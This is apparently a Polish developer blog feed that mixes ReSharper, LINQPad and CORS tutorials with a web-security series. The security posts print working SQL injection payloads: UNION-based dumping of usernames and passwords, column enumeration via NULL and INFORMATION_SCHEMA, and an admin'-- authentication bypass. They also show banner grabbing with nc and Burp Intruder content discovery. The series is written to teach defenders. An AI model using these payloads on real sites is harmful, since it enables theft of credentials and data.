Bezpieczeństwo web (część 5) – SQL Injection II, operator UNION

W poprzednim wpisie o podstawach SQL Injection, pokazałem podstawowe błędy podczas korzystania z zapytań SELECT, INSERT, UPDATE, DELETE. Jak okazało się, można było uzyskać dostęp do poufnych danych. Użycie operatora UNION to kolejna eskalacja ataku, dzięki której dowolne dane w bazie mogą zostać wykradzione.

Myślę, że warto poznać wszystkie skutki ataku SQL Injection, aby jasna była skala zagrożenia. Statystyki wciąż pokazują, że luki w SQL Injection są dość częste i programiści popełniają  gdzieś błędy. W przypadku skomplikowanych systemów, gdzie zapytania generowane są dynamicznie dostrzeżenie luki może być już nie takie oczywiste.

Spójrzmy jeszcze raz na zapytanie z poprzedniego wpisu:

SELECT Name, Content FROM Articles WHERE Name= ‘fraza’ and
Published=1

Co jeśli zamiast frazy, ktoś wklei:

tekst’ UNION SELECT username,password FROM Users--

Zapytanie przyjmie formę:

SELECT Name, Content FROM Articles WHERE Name= ‘tekst’ UNION SELECT username,password FROM Users--’ and
Published=1

Oznacza to, że wykona się następujący kod:

SELECT Name, Content FROM Articles WHERE Name= ‘tekst’

UNION

SELECT username,password FROM Users

Jeśli tylko atakujący odgadnie nazwę tabel, kolumn, ich liczbę oraz typy może uzyskać dostęp do WSZYSTKICH danych w bazie. Jeśli pierwsze zapytanie zwraca tylko jedną kolumnę, wtedy drugie musi również zwrócić taką samą liczbę (np. tylko hasło). Okazuje się, że odgadnięcie kolumn nie jest takie trudne, ponieważ dla testów można zwrócić NULL.

Załóżmy, że pierwsze zapytanie, zwraca 5 kolumn, np.:
SELECT A,B,C,D,E from Articles.

Jeśli nie znamy zarówno typów, nazw jak typów kolumn, po prostu zwracamy NULL. Typ NULL może być skonwertowany do jakiegokolwiek typu. Wystarczą zatem 5 próby:

' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT NULL, NULL, NULL, NULL --
' UNION SELECT NULL, NULL, NULL, NULL, NULL --

Jeśli któraś z prób powiedzie się sukcesem wtedy znamy już liczbę kolumn i możemy przejść do odgadywania typów kolumn. Jeśli chcemy sprawdzić czy któraż z nich jest typu text, wtedy:

' UNION SELECT 'Hello World', NULL, NULL, NULL, NULL --
' UNION SELECT NULL, 'Hello World', NULL, NULL, NULL --
' UNION SELECT NULL, NULL, 'Hello World', NULL, NULL --
' UNION SELECT NULL, NULL, NULL, 'Hello World', NULL --
' UNION SELECT NULL, NULL, NULL, NULL, 'Hello World'--

Zawsze jeden typ odgadujemy za pierwszy razem. Jęśli próba nie powiedzie się, przesuwamy tekst do kolejnej kolumny.

Następnie możemy spróbować inny typ – np. liczbowy. Załóżmy, że ostatnia kolumna to tekst i teraz szukamy typu liczbowego:

' UNION SELECT 1, NULL, NULL, NULL, 'Hello World'--
' UNION SELECT NULL, 1, NULL, NULL, 'Hello World'--
' UNION SELECT NULL, NULL, 1, NULL, 'Hello World'--
' UNION SELECT NULL, NULL, NULL, 1, 'Hello World'--

Na tym etapie wiemy już o liczbie oraz typach kolumn w pierwszym zapytaniu. W celu wykorzystania luki, trzeba odgadnąć jeszcze nazwę tabeli oraz nazwy kolumn, które chcemy odczytać. Czasami można domyślić się np. “SELECT Name from Users” ale nie jest to zbyt przydatne podejście.
Większość baz danych dostarcza metadane czyli informacje o dostępnych tabelach i kolumnach. W SQL Server do dyspozycji mamy INFORMATION_SCHEMA.
Tym sposobem, jeśli tylko znamy liczbę kolumn oraz ich typy możemy (załóżmy 3 kolumny, pierwsze dwie to typy tekstowe):

' UNION SELECT TABLE_NAME,COLUMN_NAME, NULL from INFORMATION_SCHEMA.COLUMNS--

Teraz już mamy wystarczające informacje aby odczytać jakiekolwiek dane z bazy.

Bezpieczeństwo web (część 4) – SQL Injection I

W poprzednich wpisach zajęliśmy się mapowaniem zawartości strony. Na tym etapie, powinno być jasne, jakiego typu ataki potencjalnie mogą być wykonane na stronie.

SQL Injection wciąż jest jednym z najczęściej spotykanych ataków. Może wydawać się to dziwne, ale często programiści nie zdają sobie sprawy z zagrożenia albo po prostu luki w bezpieczeństwie powstają w miarę ewolucji kodu. Moim zdaniem jest to największe ryzyku, gdy kod jest bardzo często zmieniany i czasami można coś przeoczyć. Nie zawsze również da się korzystać z parametryzowanych zapytań i wtedy niestety trzeba stworzyć zapytanie dynamicznie. Atak SQL Injection polega na takim zmanipulowaniu danych wejściowych, że powstanie nowe zapytanie, zwracające dowolne dane z bazy danych.

1. SQL Injeciton w Select

Zacznijmy od klasycznego przykładu. Załóżmy, że mamy wyszukiwarkę na stronie i zwracamy dane na podstawie wpisanej nazwy artykułu:

SELECT * FROM Articles WHERE Name= ‘fraza’ and
Published=1

To co znajduje się jako wartość kolumny ‘Name’ może być przekazywane za pomocą URL, np.:

www.test.com\articles?name=’fraza’

Problem w tym, że bez walidacji użytkownik może “wstrzyknąć” tak spreparowaną frazę, że powstanie zupełnie nowe zapytanie.  Co się stanie, jak użytkownik poda następującą frazę?

fraza’ OR 1=1 —

Po podstawieniu, zapytanie będzie wyglądać:

SELECT * FROM Articles WHERE Name= ‘fraza’ OR 1=1 –‘ and
Published=1

Podanie apostrofu spowoduje, że następna część frazy zostanie potraktowana jako zapytanie. Powyższy przykład pokazał jak wyświetlić wszystkie artykuły (OR 1=1)  zamiast tylko tego konkretnego.

Innymi słowy, atak SQL Injection jest możliwy, gdy dane pochodzą z zewnętrznego źródła (query string, formularz itp) i nie są one odpowiednio formatowane przed włączeniem je w dynamiczne zapytanie.

2. INSERT INTO

SQL Injection nie ogranicza się tylko do SELECT.  Załóżmy, że mamy następujący INSERT INTO:

INSERT INTO Articles (name, author,priority) Values (‘nazwa’,’Piotr Z’,5)

Jeśli nazwa pochodzi z zewnętrznego źródła, wtedy można wstrzyknąć:

nazwa’,’Piotr’,9999)–

Spowoduje to, że wyjściowe zapytanie to:

INSERT INTO Articles (name,author,priority) Values (nazwa’,’Piotr’,9999)–‘,’Piotr Z’,5)

Czyli będziemy w stanie zmienić jakiekolwiek wartości, nawet te, które były wcześniej zawsze stałymi.

3. UPDATE\DELETE

Analogicznie, Update jest narażony na taki sam atak. Rozważmy aktualizację hasła:

UPDATE Users SET Password=’new password’ WHERE user = ‘piotr’ and password
=’old password’

Zapytanie powinno zmienić hasło wyłącznie jeśli poda się prawidłową nazwę użytkownika oraz hasło (tylko wtedy jest dopasowany rekord w bazie). A co jeśli podamy jako nazwę admin’–? Powstanie wtedy:

UPDATE Users SET Password=’new password’ WHERE user = ‘admin’–‘ and password
=’old password’

W łatwy sposób unikniemy autentykacji i  zmienimy hasło dla administratora.

5. Klauzula OrderBy

Dane wyświetlane np. w formie tabel, zwykłe mogą być sortowane. Programiści myśląc, że napiszą bardziej elegancki kod, czasami wstrzykują nazwę kolumny i kierunek sortowania bezpośrednio  w zapytanie, tzn.:

SELECT * FROM Articles OrderBy Author DESC

Stosując powyższe wskazówki czyli podając jako nazwę kolumny np. Author ASC –, możemy modyfikować dowolnie kod.

6. Wstrzykiwanie napisów oraz typów liczbowych.

Nie znając architektury wewnętrznej trzeba w jakiś sposób sprawdzić z jakimi typami danych mamy do czynienia. Powyższe przykłady opierały się głównie na manipulowaniu tekstem poprzez dodane apostrofu. Często jednak możliwe jest wstrzyknięcie typów liczbowych np.:

SELECT * FROM Data where Page = 5.

Jeśli numer strony pochodzi od użytkownika, warto spróbować wstrzyknąć np. 3+3. Jeśli spowoduje to wyświetlenie strony 6, znaczy, że aplikacja jest podatna na kolejne ataki. Można nawet spróbować wstrzyknąć 71-ASCII(‘A’). Jeśli zostanie wyświetlona szósta strona (71-65), wtedy wiemy, że kolejne ataki można przeprowadzić.

LINQPad – przydatne narzędzie w eksperymentowaniu z C#\LINQ

Wiele osób pewnie już od dawna korzysta LINQPad. Osobiście nigdy nie miałem okazji korzystać z tego narzędzia i zawsze myślałem, że w przypadku TDD jest ono po prostu zbędne.

Ostatnio jednak zainstalowałem z ciekawości i okazało się bardzo przydatne w przypadku testowania krótkich snippet’ów. Czasami chcę sprawdzić tylko np. formatowanie daty i wtedy zwykle uruchamiałem osobną instancję Visual Studio,  immediate windows w VS albo po prostu pisałem konkretny test. Nie zawsze jednak jest to wygodne i praktyczne.

LINQPad to taki notatnik dla programisty. Nazwa może być myląca bo nie chodzi tutaj tylko o wyrażenia LINQ. Możemy testować jakikolwiek kod C#. Często oczywiście jest to po prostu LINQ. Ostatnio zastanawiałem się, czy Take(10) na tablicy 3-elementowej wyrzuci wyjątek. Za pomocą LINQPad napisałem:

1

 

Wszystko stało się jasne bardzo szybko – wizualizacja danych jest bardzo przejrzysta.

Często na blogu poruszałem tematy optymalizacji i analizy kodu IL. W LINQPad możemy również obejrzeć IL:

1

 

Narzędzie oczywiście nie służy do pisania kodu, ale sprawdzania różnych operacji. Nierzadko zdarza się, że chcemy sprawdzić np. jak String.Split działa, a za pomocą LINQPad bardzo szybko zobaczymy wynik operacji.

Ponadto, LINQPad jest przydatny w analizie zapytań SQL wygenerowanych przez narzędzia ORM.  Na przykład, po kliknięciu w “Add Connection” możemy wybrać konkretny sterownik:

1

 

Następnie po wykonaniu zapytania, dostaniemy oczywiście dane:

1

 

Przełączając się do zakładki SQL, zobaczymy wygenerowane zapytanie SQL:

1

Bezpieczeństwo web (część 3), mapowanie technologii serwerowych – serwer www

Oprócz rozpoznania zawartości aplikacji (o czym pisałem w poprzednich wpisach) przydatne jest rozpoznanie konkretnych technologii. Inaczej przeprowadza się atak na aplikację PHP, a inaczej na ASP.NET.

Zacznijmy od serwera WWW.  Zdobycie nazwy i konkretnej wersji może okazać się krytyczne. Dlaczego? Wiele serwerów WWW miało luki w bezpieczeństwie. Jeśli dana aplikacja używa starego IIS, możemy poszukać biuletynów bezpieczeństwa i sprawdzić, czy możliwe jest wykorzystanie konkretnych luk. Na przykład, stare wersje IIS miały problem z generowaniem w pełni losowych identyfikatorów sesji. O tym w innym poście, ale odgadniecie kolejnego numeru sesji jest oczywiście katastrofalne z punktu widzenia bezpieczeństwa.

Zaprezentowana technika w tym wpisie, nazywa się “banner grabbing“.

Najprostsza sztuczka polega na wysłaniu zapytania do serwera,  które zwróci w odpowiedzi m.in. nagłówek header (przykład z Wikipedii):

// Źródło: https://en.wikipedia.org/wiki/Banner_grabbing

[root@prober] nc www.targethost.com 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 11 May 2009 22:10:40 EST
Server: Apache/2.0.46 (Unix)  (Red Hat/Linux)
Last-Modified:  Thu, 16 Apr 2009 11:20:14 PST
ETag: "1986-69b-123a4bc6"
Accept-Ranges: bytes
Content-Length: 1110
Connection: close
Content-Type: text/html

Za pomocą telnet, możemy w łatwy sposób uzyskać, przynajmniej część powyższych informacji:

1. Uruchomiamy CMD i wpisujemy “telnet adres_serwera port”:
1

2. Po połączeniu, wpisujemy “HEAD / HTTP/1.0”:
1

Jak widać, w szybki sposób dowiedzieliśmy się jaki serwer oraz jaka jego wersja jest zainstalowana. W praktyce jednak, ma to BARDZO ograniczone możliwości ponieważ zwykle administratorzy blokują nagłówek serwer lub zwracają nieprawidłowe informacje.

Niestety istnieją narzędzia, które potrafią przynajmniej w przybliżeniu podać wersję. Posiadają zwykle one zestaw reguł i na ich podstawie wyznaczają wersje. Każdy serwer zwraca trochę inne informacje na takie same zapytania. Może być to kolejność nagłówków, czasy generowania odpowiedzi czy konkretne wartości występujące w nagłówkach . Po wysłaniu wystarczającej ilości zapytań, narzędzia te potrafią dopasować serwer oraz wersję serwera.

Jednym z tych narzędzi jest HTTPRecon:
1

Oczywiście, jeśli wszystkie dostępne na rynku serwery www implementowałyby HTTP w identyczny sposób, powyższa sztuczka nie miałaby sensu.

Zwykle programiści nie są bezpośrednio odpowiedzialni za serwer WWW. Zawsze jednak należy pamiętać, aby instalować najnowsze aktualizacje ponieważ nawet aplikacja bez żadnych luk bezpieczeństwa może zostać z łatwością złamana jeśli serwer WWW np. generuje przewidywalne numery sesji.

Resharper\Visual Studio: Kilka przydatnych skrótów, część II

Dzisiaj kolejna część o moich ulubionych skrótach.

1. Ctrl+[ – przejście do deklaracji metody. Szczególnie przydatne z pracą z legacy code, gdzie nie jest to zawsze takie oczywiste… Często korzystam  z tej komendy w połączeniu z Ctrl+R, czyli zmiany nazwy metody.  Inna kombinacja to Ctrl+Shift+[, która zaznacza całą deklarację metody (sygnatura + ciało).

2. Wszyscy chyba kojarzą skróty Ctrl+N\Ctrl+T, umożliwiające wyszukiwanie plików, klas oraz metod. Ciekawą rzeczą jest, że wspierana jest składnia Camsel Case. Jeśli mamy  klasę o nazwie SqlDataReader, wystarczy wpisać sdr i będziemy mieli dokładne dopasowanie. Chyba wszyscy programiści C# korzystają z CamelCase więc jest to bardzo ciekawe udogodnienie ze strony Resharper.

3. Shift+Alt+L – zaznacza plik danej klasy w solution explroer. Przydatne, gdy korzystamy najpierw z CTRL+T w celu znalezienia klasy, a potem chcemy zobaczyć gdzie ona znajduje się w solucji.

4. Ctrl+k+d – formatowanie kodu. Zamiast czekać aż zamkniemy klamrę, wystarczy skorzystać z tego skrótu w celu dodania uporządkowania kodu.

5. Ekstrakcja zmiennej – Crl+R, V. Często mamy metody, które jako parametry przyjmują serie innych wywołań np. Test(Test1(Test2())). Czasami jest to nieprzejrzyste i lepiej umieścić wywołania w osobnych liniach kodu np. int test2Value = Test2(); Zaznaczając dane wywołanie i naciskając wspomnianą kombinację, automatycznie zostanie wydobyta zmienna.

6. Ekstrakcja metod – Ctrl+R, M  – analogicznie, wystarczy zaznaczyć fragment kodu, a zostanie on przeniesiony do nowej metody.

7. Ekstrakcja pól – Ctrl+R, F

8. Jeśli tylko mogę to pracuję z nCrunch i wtedy po prostu nie muszę odpalać ręcznie testów. Jeśli nie mam tego luksusu, wtedy Resharper jest przydatny. Ctrl+U,L uruchomi wszystkie testy w danej solucji.

9. Ctrl+R,S – zmiana sygnatury. Jeśli tylko metoda jest zaznaczona (przydatny skrót Ctrl+[), wtedy pojawi się następujące okno:

1

 

Najczęściej korzystam ze zmiany kolejności parametrów. Resharper automatycznie zaktualizuje nie tylko sygnaturę, ale również wszelkie wywołania.

10. Nawigacja między metodami – Alt+Up albo Alt+Down – spowoduje przejście do kolejnej lub poprzedniej metody w danej klasie.

Bezpieczeństwo web (część II): Odkrywanie ukrytej zawartości

Minęło już sporo czasu od ostatniego wpisu na temat bezpieczeństwa. Tak jak wspomniałem w pierwszym wpisie, dobrym sposobem na zabezpieczenie własnych aplikacji jest zrozumienie jak ta druga strona może próbować znaleźć lukę w naszym systemie. Mapowanie to pierwszy etap, który ma na celu rozpoznanie najmniej chronionych fragmentów aplikacji – zadziwiająco często można znaleźć bardzo wrażliwe informacje takie jak logi czy nawet hasła.

W poprzednim wpisie stworzyliśmy podstawową mapę, składającą się po prostu z publicznie dostępnych informacji, wygenerowanych manualnie oraz za pomocą spidering. Użyliśmy narzędzia Burp Suite, które jest również dostępne w darmowej wersji. W prostych przypadkach, czasami łatwiej napisać po prostu aplikacje konsolową w C#, która zrobi za nas np. wspomniany spidering, ale warto mimo wszystko przyzwyczaić się do zewnętrznych narzędzi.

Dzisiaj chciałbym pokazać na czym polega mapowanie ukrytej zawartości. Za ukryte strony mam na myśli tą zawartość, do której nie można dostać się za pomocą publicznej strony bo po prostu nie jest ona podlinkowana. Z tego względu, często programiści zapominają o niej i nie stosują autoryzacji. Co możemy znaleźć w takich plikach?

1. Logi – bardzo często przechowywane są w tym samym folderze co aplikacja, a co za tym idzie prawdopodobne jest, że ktoś zignorował autoryzację.

2. Kopie zapasowe. Szczególnie we współdzielonych hostingach, kopie są umieszczane w folderze aplikacji. Jeśli nie są chronione, istnieje prawdopodobieństwo, że uzyskamy dostęp do danych lub kodów źródłowych.

3. Hasła – wiem, że to mało prawdopodobne, a jednak. Bywały przypadki w historii, gdzie ludzie przechowywali pliki tekstowe z… hasłami.

4. Kody źródłowy – czasami osoby zamiast DLL przekopiowują cały kod, lub edytując skrypty (np. PHP), chwilowo zamieniają stare nazwy na np. “HomePage.php.txt”.

5.  Niechronione strony. Jeśli aplikacja ma mechanizm autoryzacji, warto spróbować otworzyć różne strony bez niej. Często autorzy popełniają błąd, myśląc, że skoro strona nie jest dostępna publicznie, to nie musi być chroniona.  Czasami wynika to po prostu z błędu – np. pominięcia atrybutu Authorize dla jednego kontrolera.

Odkrycie takiej zawartości jest jednak dużo trudniejsze i zwykle polega na zgadywaniu. Wymaga to sporej znajomości m.in. technologii wykorzystywanych przez daną stronę (o tym nauczymy się w następnych wpisach). Wiedząc np. jaki framework jest wykorzystywany do wykonywania logów, możemy domyśleć się gdzie są one przechowywane. Podobnie wygląda sprawa z kopią zapasową.

Nie oznacza to, że przeprowadzenie wspomnianego ataku jest niemożliwe… W Internecie istnieje wiele list zawierających najczęściej występujące nazwy plików i folderów. Listy te mogą mieć nawet tysiące wpisów. Posiadając taką listę, można automatycznie wygenerować zapytania do serwera. Na przykład, używając Burp Suite wystarczy przejść do Intruder->Positions i podać szablon zapytania HTTP:

1

Należy również załadować wspomnianą listę:

1

Po odpaleniu zapytań (Intruder->Start attack), zobaczymy listę zapytań. Warto zwrócić uwagę na zwracany kod HTTP i długość zapytania. Niektóre strony mogą zwracać HTTP 200, pomimo, że strona nie istnieje – po prostu maja swoją własną stronę z błędami. Dlatego obserwowanie kolumny Length może być bardziej skuteczne.

Resharper\Visual Studio: Kilka przydatnych skrótów, część I

Resharper’a nie trzeba nikomu przedstawiać. Co prawda, Visual Studio co każdą edycję dodaje trochę funkcjonalności wcześniej dostępnej tylko w Resharper, wciąż jednak jest to najpopularniejsze narzędzie w większości firmach.

Dzisiaj kilka moich ulubionych skrótów. Myślę, że ALT+ENTER oraz szukanie typów (ctrl+n,ctrl+t) nie trzeba przedstawiać więc pominę to 🙂

1. CTRL+E, U – wyświetla menu kontekstowego, w którym możemy wybrać szablon otaczający dany kod:

1

Szczególnie przydatne z try-catch. Zacznamy kod, potem CTRL+E, U,8 i mamy szybko obsługę wyjątków.

2. Wpisanie “ctor” oraz naciśnięcie enter, spowoduje wygenerowanie domyślnego konstruktora:

1

1

Co prawda jest to zwykły snippet, ale uważam, że zasługuje on na uwagę.

3. Alt+Ins. Gdy jesteśmy w Solution Explorer, naciśnięcie tej kombinacji, wyświetli menu kontekstowe umożliwiające dodanie np. nowej klasy:

1

Dużo wygodniejsze niż używanie myszki.

4. Ctrl+Shift+V – wyświetlenie schowka. Kopiowanie i wklejanie fragmentów kodu jest bardzo częstą czynnością programisty… Po naciśnięciu, dostaniemy okienko z ostatnimi zmianami w schowku:

1

5. Alt+Enter jest wszechobecne w Resharper. Jednym z ciekawych scenariuszy użycia jest string.Format. Jeśli napiszemy najpierw string.Format(“Hello world “) i naciśniemy Alt+Enter, zostanie wygenerowany automatycznie place holder “{0}” czyli  string.Format(“Hello {0}”, “ARG0”).

6. Ctrl + Shift + Alt + arrows. Załóżmy, że mamy następującą klasę:

    class SampleClass
    {
        private void Test() { }
        public void Method() { }
        public void Method2() { }
        public void Method3() { }
    }

Zawsze sortuję metody na podstawie modyfikatora – prywatne zwykle są na samym dole. Bez Resharper po prostu zaznaczyłbym metodę Test i przekopiował na sam dół (CTRL+X -> CTRL+V). Dużo wygodniejsze jest jednak CTRL+Shift+ALT+DOWN i naciśnięcie strzałki trzykrotnie. Komenda po prostu przeniesie daną część kodu (metodę) w dół. Nie trzeba nawet metody zaznaczać – wystarczy, że kursor znajduję się w podanej metodzie.

W następnym poście ciąg dalszy. Pomimo, że są to drobiazgi to bardzo usprawniają pracę – należy tylko o nich opamiętać…

Cross-Origin Request sharing (CORS): Atrybut EnableCors

O atrybucie EnableCors już wspomniałem w pierwszym poście o CORS.  Dzisiaj chciałbym przyjrzeć mu się dokładniej.  Dla przypomnienia, najczęściej dekoruje im się kontrolery:

    [EnableCors( "http://localhost:24018","*","*")]
    public class ValuesController : ApiController
    {
        // GET api/values/5
        public string Get()
        {
            return "Hello World@";
        }
    }

Możliwe jest jednak dołączenie go do pojedynczej metody (akcji):

    public class ValuesController : ApiController
    {
        [EnableCors("http://localhost:24018", "*", "*")]
        public string Get()
        {
            return "Hello World";
        }
    }

Jeśli chcemy nałożyć atrybut globalnie, wtedy w WebConfig możemy:

    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {

            var cors = new EnableCorsAttribute("http://localhost:24018", "*", "*");
            config.EnableCors(cors);

            // Web API routes
            config.MapHttpAttributeRoutes();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }

Origin określa adres klienta czyli konsumenta danej usługi. W powyższym przypadku wyłącznie http://localhost:24018 uzyskuje dostęp do API. Możemy przekazać gwiazdkę (*) jeśli chcemy zezwolić wszystkim klientom:

[EnableCors(origins: "*", 
    headers: "*", methods: "*")]

Oczywiście odradzam akceptowanie wszystkich klientów ze względu na bezpieczeństwo. Każde zapytanie AJAX, będzie mogło korzystać z naszego API, co potencjalnie może być wykorzystane np. w phishing.
Dozwolone jest również przekazanie listy adresów po przecinku:

[EnableCors(origins: "http://www.address1.com,http://www.address2.com"", 
    headers: "*", methods: "*")]

We wszystkich parametrach można podać listę wartości po przecinku. Na przykład:

[EnableCors(origins: "http://www.address1.com", 
    headers: "accept,content-type,origin,x-my-header", methods: "*")]

Niestety różne przeglądarki interpretują inaczej headers i nie można ma tym polegać. Cały mechanizm CORS mocno polega na implementacji przeglądarki. To ona w końcu decyduje jakie pakiety wysłać do serwera i kiedy zezwolić na połączenie. Zdecydowana większość przeglądarek nie pozwala na między domenowe połączenia, ale nie wszystkie w pełni implementują CORS. Może zdarzyć się, że po prostu lista nagłówków nie zostanie wysłana jako część zapytania CORS.

Analogicznie sprawa wygląda z metodami HTTP:

[EnableCors(origins: "http://www.address1.com", 
    headers: "*", methods: "GET,POST")]

To ostatni post o CORS. W następnym wpisie powracam do zaczętej w poprzednim tygodniu tematyki o bezpieczeństwie aplikacji WEB.

Cross-Origin Request sharing (CORS): Zapytania prefight

Po ostatnim poście powinno być jasne dlaczego i kiedy warto używać CORS. Przedstawiony przykład pokazywał dwa kluczowe nagłówki: origin oraz Access-Control-Allow-Origin. W praktyce jednak, może zdarzyć się, że przeglądarka wyśle dodatkowy pakiet, tzw. “prefight”. Przeglądarki omijają ten etap, gdy następujące warunki sa spełnione:

  1. Zapytanie jest typu GET, HEAD lub POST
  2. W nagłówku nie ma innych zapytań niż  Accept, Accept-Language, Content-Language lub Content-Type
  3. Content-Type ma wyłącznie wartości takie jak: application/x-www-form-urlencoded, multipart/form-data, text/plain

W przeciwnym wypadku, pakiet prefight zostanie wysłany. Najprostszy przykład takiego pakietu, wysyłanego przez klienta do usługi to:

OPTIONS /
Host: bar.com
Origin: http://foo.com

Przede wszystkim, prefight używa HTTP Options, gdzie jako wartość często podaje się adres usługi. Dodatkowo, można skorzystać z nagłówków Access-Control-Request-Method lub Access-Control-Request-Headers. Pierwszy z nich służy do określenia metod HTTP z jakich chcemy skorzystać (GET, PUT itp.). Drugi z kolei, zawiera dodatkowe nagłówki, jakie klient chce ustawić (niestandardowe). Przykład:

OPTIONS http://service.com/hello HTTP/1.1
Accept: */*
Origin: http://client.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: accept, x-my-custom-header
Accept-Encoding: gzip, deflate

W odpowiedzi z kolei, dostajemy standardowo Access-Control-Allow-Origin oraz dodatkowo Access-Control-Allow-Methods:

Access-Control-Allow-Origin: http://foo.com
Access-Control-Allow-Methods: PUT, DELETE

W przypadku, gdy wszystko zgadza się (origin, methods) wtedy dopiero przeglądarka wysyła właściwe zapytanie między domenowe. Jak widać, w przypadku niestandardowych zapytań, czas wykonania może być trochę dłuższy ze względu na liczbę wysyłanych i odbieranych pakietów.

Cross-Origin Request sharing (CORS): wywoływanie zewnętrznych usług z JavaScript

Kilka postów wcześniej pisałem o JSONP, jako sposobie na wywoływanie serwisów znajdujących się w innych domenach z poziomu JavaScript. Domyślnie przeglądarki blokują takie wywołania ze względu na bezpieczeństwo. Załóżmy, że mamy następujący serwis w jakiejś domenie:

public class ValuesController : ApiController
{
   // GET api/values/5
   public string Get()
   {
      return "Hello World";
   }
}

Następnie w drugiej domenie mamy kod JavaScript próbujący pobrać dane z powyższej usługi:

$.ajax({ url: "http://localhost:24523/api/Values" }).
done(function (data) { $("#testLabel").text(data.Text); });

Próba połączenia się z usługą zakończy się oczywiście następującym błędem:

“XMLHttpRequest cannot load http://localhost:24523/api/Values.
No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://localhost:24018’ is therefore not allowed access.”

CORS to standard zaimplementowany przez większość współczesnych przeglądarek internetowych.  W skrócie jeśli kod JavaScript chce wykonać zapytanie cross-domain to przeglądarka najpierw wyśle specjalny pakiet do usługi. Jeśli usługa wyrazi zgodę na cross-domain, wtedy połączenie między domenowe zostanie nawiązane. Innymi słowy, to serwer decyduje czy dopuścić dane połączenie z obcej domeny. Z punktu technicznego zatem, zarówno przeglądarka jak i serwer muszą wspierać CORS. W WebAPI bardzo prostą możemy zaimplementować CORS. Wystarczy, że zainstalujemy następujący pakiet:

Install-Package Microsoft.AspNet.WebApi.Cors

Następnie w WebConfig wywołujemy EnableCors:


        public static void Register(HttpConfiguration config)
        {
            // Web API configuration and services
            config.EnableCors();

            // Web API routes
            config.MapHttpAttributeRoutes();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }

 

Należy również oznaczyć dany kontroler atrybutem EnableCors:

    [EnableCors( "http://localhost:24018","*","*")]
    public class ValuesController : ApiController
    {
        // GET api/values/5
        public string Get()
        {
            return "Hello World@";
        }
    }

 

Po uruchomieniu strony, wszystko załaduje się prawidłowo. Jak widać jest to trochę prostsze niż JSONP i bardziej naturalne. JSONP to tak naprawdę wykorzystywanie pewnej luki w przeglądarkach, aczkolwiek jest to bardzo powszechna praktyka i nic nie stoi na przeszkodzie, aby po prostu używać JSONP.

Zajrzyjmy jeszcze do definicji atrybutu EnableCors:


public EnableCorsAttribute(string origins, string headers, string methods)
: this(origins, headers, methods, (string) null)
{
}

Jak widać, najważniejszy parametr to origin czyli adres strony, która będzie wywoływała daną usługę. Innymi słowy, w powyższym rozwiązaniu akceptujemy wyłącznie domenę http://localhost:24523. Możemy również być bardziej wybredni co do przychodzących zapytań i określić konkretne nagłówki czy metody HTTP (GET\POST itp.).

Przyjrzyjmy się również pakietom jakie przeglądarka i usługa wysyłają. W momencie, gdy klient (przeglądarka) próbuje nawiązać połączenie między domenowe, przeglądarka wyśle pakiet z nagłówkiem Origin równym adresowi klienta czyli w tym przypadku “Origin: http://localhost:24018”:


Accept:*/*
Accept-Encoding:gzip, deflate, sdch
Accept-Language:en-GB,en;q=0.8,en-US;q=0.6,pl;q=0.4
Cache-Control:max-age=0
Connection:keep-alive
Host:localhost:24523
Origin:http://localhost:24018
Referer:http://localhost:24018/Home/Index
User-Agent:Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36

Jeśli domena pokryje się z regułami opisanymi za pomocą EnableCors, wtedy zostanie zwrócony pakiet z nagłówkiem Access-Control-Allow-Origin równym danej domenie tzn.:


Access-Control-Allow-Origin:http://localhost:24018
Cache-Control:no-cache
Content-Length:14
Content-Type:application/json; charset=utf-8
Date:Mon, 03 Aug 2015 18:09:57 GMT
Expires:-1
Pragma:no-cache
Server:Microsoft-IIS/10.0
X-AspNet-Version:4.0.30319
X-Powered-By:ASP.NET
X-SourceFiles:=?UTF-8?B?YzpcdXNlcnNccGlvdHJ6XGRvY3VtZW50c1x2aXN1YWwgc3R1ZGlvIDIwMTVcUHJvamVjdHNcV2ViQXBwbGljYXRpb24yXFdlYkFwcGxpY2F0aW9uMlxhcGlcVmFsdWVz?=

 

W przyszłym poście opiszę jeszcze kilka rzeczy związanych z CORS. Na zakończenie zachęcam na zapoznanie się, które przeglądarki posiadają wsparcie dla CORS: http://caniuse.com/#feat=cors